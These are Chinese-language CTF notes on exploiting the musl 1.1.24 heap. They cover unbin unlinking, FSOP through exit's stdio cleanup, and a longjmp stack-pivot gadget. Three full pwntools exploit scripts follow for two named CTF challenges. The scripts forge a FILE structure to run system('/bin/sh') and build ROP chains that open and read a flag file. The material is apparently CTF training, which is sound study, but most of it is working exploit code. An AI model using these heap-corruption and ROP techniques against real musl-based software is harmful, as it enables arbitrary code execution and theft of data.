1.1.24 musl pwn
1.1.24 musl pwn
关键源码
static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next) // 若 bin 只有一个 chunk,将 bin 设为空 bin
a_and_64(&mal.binmap, ~(1ULL<prev->next = c->next;
c->next->prev = c->prev;
c->csize |= C_INUSE; // 设置 INUSE 标志位
NEXT_CHUNK(c)->psize |= C_INUSE;
}
FSOP
调用exit
时
// src/exit/exit.c L27-L33
_Noreturn void exit(int code)
{
__funcs_on_exit();
__libc_exit_fini();
__stdio_exit(); <---
_Exit(code);
}
其中的__stdio_exit
函数
// src/stdio/__stdio_exit.c L16-L23
void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used); <---
close_file(__stdout_used);
close_file(__stderr_used);
}
再到close_file
函数
// src/stdio/__stdio_exit.c L8-L14
static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0); <---
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}
当wpos != wbase
时,便会调用write
,并且参数为当前的结构体
。
栈迁移
如下gadget
搭配FSOP
可以很方便实现栈迁移。
.text:0000000000049503 loc_49503:
.text:0000000000049503 mov rbx, [rdi]
.text:0000000000049506 mov rbp, [rdi+8]
.text:000000000004950A mov r12, [rdi+10h]
.text:000000000004950E mov r13, [rdi+18h]
.text:0000000000049512 mov r14, [rdi+20h]
.text:0000000000049516 mov r15, [rdi+28h]
.text:000000000004951A mov rdx, [rdi+30h]
.text:000000000004951E mov rsp, rdx
.text:0000000000049521 mov rdx, [rdi+38h]
.text:0000000000049525 jmp rdx
.text:0000000000049525 longjmp endp
泄露environ
也可以进行栈迁移来ROP
例题:高校战"疫" musl
exp
from pwn import*
context(os = "linux", arch = 'amd64', log_level = 'debug')
s = process('./carbon')
elf = ELF('./carbon')
libc = ELF("./libc.so")
def add(size,content,ans='N'):
s.sendlineafter(b'> ', b'1')
s.sendlineafter(b'What is your prefer size? >', str(size))
s.sendlineafter(b'Are you a believer? >', ans)
s.sendafter(b'Say hello to your new sleeve >', content)
def delete(index):
s.sendlineafter(b'> ', b'2')
s.sendlineafter(b'What is your sleeve ID? >', str(index))
def edit(index,content):
s.sendlineafter(b'> ', b'3')
s.sendlineafter(b'What is your sleeve ID? >', str(index))
s.send(content)
def show(index):
s.sendlineafter(b'> ', b'4')
s.sendlineafter(b'What is your sleeve ID? >', str(index))
add(0, b'') # 0
show(0)
libc_base = u64(s.recv(6).ljust(8,b'\x00')) - 0xa0a80 - 912
success('[+] libc_base=> '+hex(libc_base))
system_addr = libc_base + 0x46bda
stdin_addr = libc_base + 0xa01c0
mal = libc_base + 0xa0a80
brk = libc_base + 0xa2ff0
add(0x10, b'\n') # 1
add(0x10, b'\n') # 2
add(0x10, b'\n') # 3
add(0x10, b'\n') # 4
add(0x10, b'\n') # 5
add(0x10, b'\n') # 6
delete(0)
delete(2)
payload = b'a'*0x10 # 0
payload+= p64(0x21) + p64(0x21) # 1
payload+= b'a'*0x10
payload+= p64(0x21) + p64(0x20) # 2
payload+= p64(stdin_addr - 0x10)*2
payload+= p8(0x20) + b'\n'
add(0x10, payload, b'Y') # 0
add(0x10, b'\n') # 2 unbin
delete(1)
edit(2, p64(mal-0x20)*2)
add(0x10, b'\n') # 1 unbin
delete(3)
edit(2, p64(brk-0x10)*2)
add(0x10, b'\n') # 3 unbin
delete(5)
bin37_head_addr = mal + 904
edit(2, p64(bin37_head_addr - 0x18)+p64(stdin_addr - 0x10))
add(0x10, b'\n') # 5
fake_IO = b'/bin/sh\x00' # flags
fake_IO+= b'\x00'*0x20
fake_IO+= p64(1) # wpos
fake_IO+= b'\x00'*0x8
fake_IO+= p64(2) # wbase
fake_IO+= b'\x00'*0x8
fake_IO+= p64(system_addr) # write
'''
struct _IO_FILE {
unsigned int flags;
unsigned char *rpos;
unsigned char *rend;
int (*close)(FILE *);
unsigned char *wend;
unsigned char *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev;
FILE *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim;
off_t shcnt;
FILE *prev_locked;
FILE *next_locked;
__locale_struct *locale;
} * const
'''
add(0x50, fake_IO) # 7
edit(2, p64(bin37_head_addr - 0x18)+p64(brk - 0x10))
add(0x10, b'\n') # 8
add(0x50, p64(0xBADBEEF - 0x20) + b'\n') # 9
edit(2, p64(bin37_head_addr - 0x18)+p64(mal - 0x20))
add(0x10, b'\n') # 10
add(0x20, b'a'*0x10 + p64(0)*2)
gdb.attach(s)
s.interactive()
例题:WMCTF Nescafe
exp1
from pwn import*
context(os = 'linux', arch = 'amd64', log_level = 'debug')
s = process('./pwn')
libc = ELF('./libc.so')
def add(content):
s.sendlineafter(b'>>', b'1')
s.sendafter(b'Please input the content\n', content)
def delete(index):
s.sendlineafter(b'>>', b'2')
s.sendlineafter(b'idx:\n', str(index))
def show(index):
s.sendlineafter(b'>>', b'3')
s.sendlineafter(b'idx\n', str(index))
def edit(index,content):
s.sendlineafter(b'>>', b'4')
s.sendlineafter(b'idx:\n', str(index))
s.sendafter(b'Content\n', content)
add(b'a'*0x8) # 0
add(b'b'*0x8) # 1
show(0)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x292e50
success('[+] libc_base=> '+hex(libc_base))
mal = libc_base + 0x292ac0
stdout = libc_base + 0x292300
open_addr = libc_base + 0x23399
read_addr = libc_base + 0x59f8e
write_addr = libc_base + 0x5a3b5
bin16_head_addr = mal + 8 + 0x18*16 + 8
chunk0 = libc_base + 0x2953b0
gadget = libc_base + 0x000000000004951A
'''
.text:0000000000049503 loc_49503:
.text:0000000000049503 mov rbx, [rdi]
.text:0000000000049506 mov rbp, [rdi+8]
.text:000000000004950A mov r12, [rdi+10h]
.text:000000000004950E mov r13, [rdi+18h]
.text:0000000000049512 mov r14, [rdi+20h]
.text:0000000000049516 mov r15, [rdi+28h]
.text:000000000004951A mov rdx, [rdi+30h]
.text:000000000004951E mov rsp, rdx
.text:0000000000049521 mov rdx, [rdi+38h]
.text:0000000000049525 jmp rdx
.text:0000000000049525 longjmp endp
'''
pop_rdi_ret = libc_base + 0x0000000000014862
pop_rsi_ret = libc_base + 0x000000000001c237
pop_rdx_ret = libc_base + 0x000000000001bea2
ret = libc_base + 0x0000000000000cdc
delete(0)
edit(0, p64(stdout - 0x10)*2)
add(b'c'*0x8) # 2
delete(0)
edit(0, p64(bin16_head_addr - 0x18) + p64(stdout - 0x10))
payload = b'./flag\x00\x00'
payload+= p64(pop_rdi_ret) + p64(chunk0 + 0x10) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr)
payload+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(chunk0 + 0x100) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr)
payload+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(chunk0 + 0x100) + p64(pop_rdx_ret) + p64(0x20) + p64(write_addr)
add(payload) # 3
'''
struct _IO_FILE {
unsigned int flags;
unsigned char *rpos;
unsigned char *rend;
int (*close)(FILE *);
unsigned char *wend;
unsigned char *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev;
FILE *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim;
off_t shcnt;
FILE *prev_locked;
FILE *next_locked;
__locale_struct *locale;
} * const
'''
payload = b'a'*0x30
payload+= p64(stdout + 0x50) + p64(ret) + b'\x00'*0x8
payload+= p64(gadget) # _IO_FILE->write
payload+= p64(pop_rdi_ret) + p64(stdout + 0x38) + p64(gadget)
payload+= p64(chunk0 + 0x18) + p64(ret)
add(payload) # 4 orw
#gdb.attach(s)
s.interactive()
exp2
from pwn import*
context(os = 'linux', arch = 'amd64', log_level = 'debug')
s = process('./pwn')
libc = ELF('./libc.so')
def add(content):
s.sendlineafter(b'>>', b'1')
s.sendafter(b'Please input the content\n', content)
def delete(index):
s.sendlineafter(b'>>', b'2')
s.sendlineafter(b'idx:\n', str(index))
def show(index):
s.sendlineafter(b'>>', b'3')
s.sendlineafter(b'idx\n', str(index))
def edit(index,content):
s.sendlineafter(b'>>', b'4')
s.sendlineafter(b'idx:\n', str(index))
s.sendafter(b'Content\n', content)
add(b'a'*0x8) # 0
add(b'b'*0x8) # 1
show(0)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x292e50
success('[+] libc_base=> '+hex(libc_base))
mal = libc_base + 0x292ac0
environ = libc_base + 0x294fd8
bin35_head_addr = mal + 8 + 0x18*35 + 8
open_addr = libc_base + 0x23399
read_addr = libc_base + 0x59f8e
write_addr = libc_base + 0x5a3b5
pop_rdi_ret = libc_base + 0x0000000000014862
pop_rsi_ret = libc_base + 0x000000000001c237
pop_rdx_ret = libc_base + 0x000000000001bea2
flag_addr = libc_base + 0x2953c0
delete(0)
edit(0, p64(bin35_head_addr - 0x18)*2)
add(b'./flag\x00') # 2
add(p64(0)*13 + b'\x30') # 3
add(p64(0)*6) # 4
show(0)
elf_base = u64(s.recv(6).ljust(8,b'\x00')) - 0x202040
success('[+] elf_base=> '+hex(elf_base))
edit(0, p64(elf_base + 0x202040) + p64(environ) + p64(0)*4)
show(1)
stack_back = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x70
success('[+] stack_back=> '+hex(stack_back))
rop = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr)
rop+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr)
rop+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x20) + p64(write_addr)
edit(0, p64(elf_base + 0x202040) + p64(stack_back) + p64(0)*4)
edit(1,rop)
#gdb.attach(s)
s.interactive()